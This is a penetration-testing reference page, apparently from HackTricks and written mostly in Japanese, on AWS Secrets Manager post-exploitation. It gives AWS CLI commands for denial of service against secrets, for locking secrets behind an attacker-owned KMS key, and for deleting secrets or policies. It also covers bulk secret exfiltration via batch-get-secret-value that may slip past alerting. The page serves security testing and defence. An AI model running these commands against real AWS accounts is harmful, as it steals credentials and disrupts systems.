# AWS - Secrets Manager Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## Secrets Manager 詳細は以下を参照してください: {{#ref}} ../../aws-services/aws-secrets-manager-enum.md {{#endref}} ### シークレットの読み取り The **シークレット自体は機密情報です**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) でそれらの読み取り方法を確認してください。 ### DoS シークレットの値の変更 シークレットの値を変更すると、その値に依存するすべてのシステムを**DoSする可能性があります。** > [!WARNING] > 以前の値も保存されているため、簡単に以前の値に戻すことができます。 ```bash # Requires permission secretsmanager:PutSecretValue aws secretsmanager put-secret-value \ --secret-id MyTestSecret \ --secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` ### DoS Change KMS key 攻撃者が secretsmanager:UpdateSecret 権限を持っていると、secret を攻撃者が所有する KMS key を使うように設定できます。そのキーは当初、誰でもアクセスして使用できるように設定されているため、secret を新しいキーで更新することが可能です。もしそのキーにアクセスできなければ、secret の更新はできません。 secret のキーを変更した後、攻撃者は自分のキーの設定を変更して自分だけがアクセスできるようにします。こうすることで、以降のバージョンの secret は新しいキーで暗号化され、そのキーにアクセスできないため、secret を取得する能力が失われます。 重要なのは、このアクセス不能は secret の内容が変更された後の以降のバージョンでのみ発生する点です。現在のバージョンはまだ元の KMS key で暗号化されているためです。 ```bash aws secretsmanager update-secret \ --secret-id MyTestSecret \ --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` ### DoS Secret の削除 secret を削除するための最小日数は7日です ```bash aws secretsmanager delete-secret \ --secret-id MyTestSecret \ --recovery-window-in-days 7 ``` ## secretsmanager:RestoreSecret シークレットは復元可能であり、削除がスケジュールされたシークレットを復元できます。シークレットの最短削除期間は7日、最長は30日です。secretsmanager:GetSecretValue 権限と組み合わせることで、その内容を取得できるようになります。 削除処理中のシークレットを復元するには、次のコマンドを使用します: ```bash aws secretsmanager restore-secret \ --secret-id ``` ## secretsmanager:DeleteResourcePolicy このアクションは、secret へのアクセスを制御するリソースポリシーを削除することを許可します。リソースポリシーが特定のユーザーの集合へのアクセスを許可するように構成されていた場合、DoS を引き起こす可能性があります。 リソースポリシーを削除するには: ```bash aws secretsmanager delete-resource-policy \ --secret-id ``` ## secretsmanager:UpdateSecretVersionStage シークレットの状態はシークレットのバージョンを管理するために使用されます。AWSCURRENT はアプリケーションが使用するアクティブなバージョンを示し、AWSPREVIOUS は必要に応じてロールバックできるよう前のバージョンを保持し、AWSPENDING は新しいバージョンを current にする前に準備・検証するローテーションプロセスで使用されます。 アプリケーションは常に AWSCURRENT が付いたバージョンを読みます。誰かがそのラベルを誤ったバージョンに移動すると、アプリは無効な認証情報を使ってしまい、失敗する可能性があります。 AWSPREVIOUS は自動的には使用されません。ただし、AWSCURRENT が削除されたり誤って再割り当てされた場合、すべてが依然として前のバージョンで動作しているように見えることがあります。 ```bash aws secretsmanager update-secret-version-stage \ --secret-id \ --version-stage AWSCURRENT \ --move-to-version-id \ --remove-from-version-id ``` ### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) Secrets Manager BatchGetSecretValue API を悪用して、1 回のリクエストで最大 20 件のシークレットを取得します。これは、シークレットごとに GetSecretValue を繰り返す場合に比べて API コール数を大幅に削減できます。フィルタ(tags/name)を使用する場合は ListSecrets の権限も必要です。CloudTrail は、バッチで取得された各シークレットごとに 1 件の GetSecretValue イベントを記録します。 必要な権限 - secretsmanager:BatchGetSecretValue - secretsmanager:GetSecretValue for each target secret - secretsmanager:ListSecrets if using --filters - kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager) > [!WARNING] > permission `secretsmanager:BatchGetSecretValue` はシークレットを取得するのに十分ではなく、取得したい各シークレットに対して `secretsmanager:GetSecretValue` が必要です。 Exfiltrate by explicit list ```bash aws secretsmanager batch-get-secret-value \ --secret-id-list \ --query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' ``` フィルタを使用した Exfiltrate (tag key/value または name prefix) ```bash # By tag key aws secretsmanager batch-get-secret-value \ --filters Key=tag-key,Values=env \ --max-results 20 \ --query 'SecretValues[].{Name:Name,Val:SecretString}' # By tag value aws secretsmanager batch-get-secret-value \ --filters Key=tag-value,Values=prod \ --max-results 20 # By name prefix aws secretsmanager batch-get-secret-value \ --filters Key=name,Values=MyApp ``` 部分的な失敗の処理 ```bash # Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters aws secretsmanager batch-get-secret-value --secret-id-list ``` 影響 - 少ないAPIコールで多数のシークレットを迅速に「smash-and-grab」し、GetSecretValueの急増に合わせたアラートを回避する可能性がある。 - CloudTrailのログには、バッチで取得された各シークレットごとに1件のGetSecretValueイベントが引き続き記録される。 {{#include ../../../../banners/hacktricks-training.md}}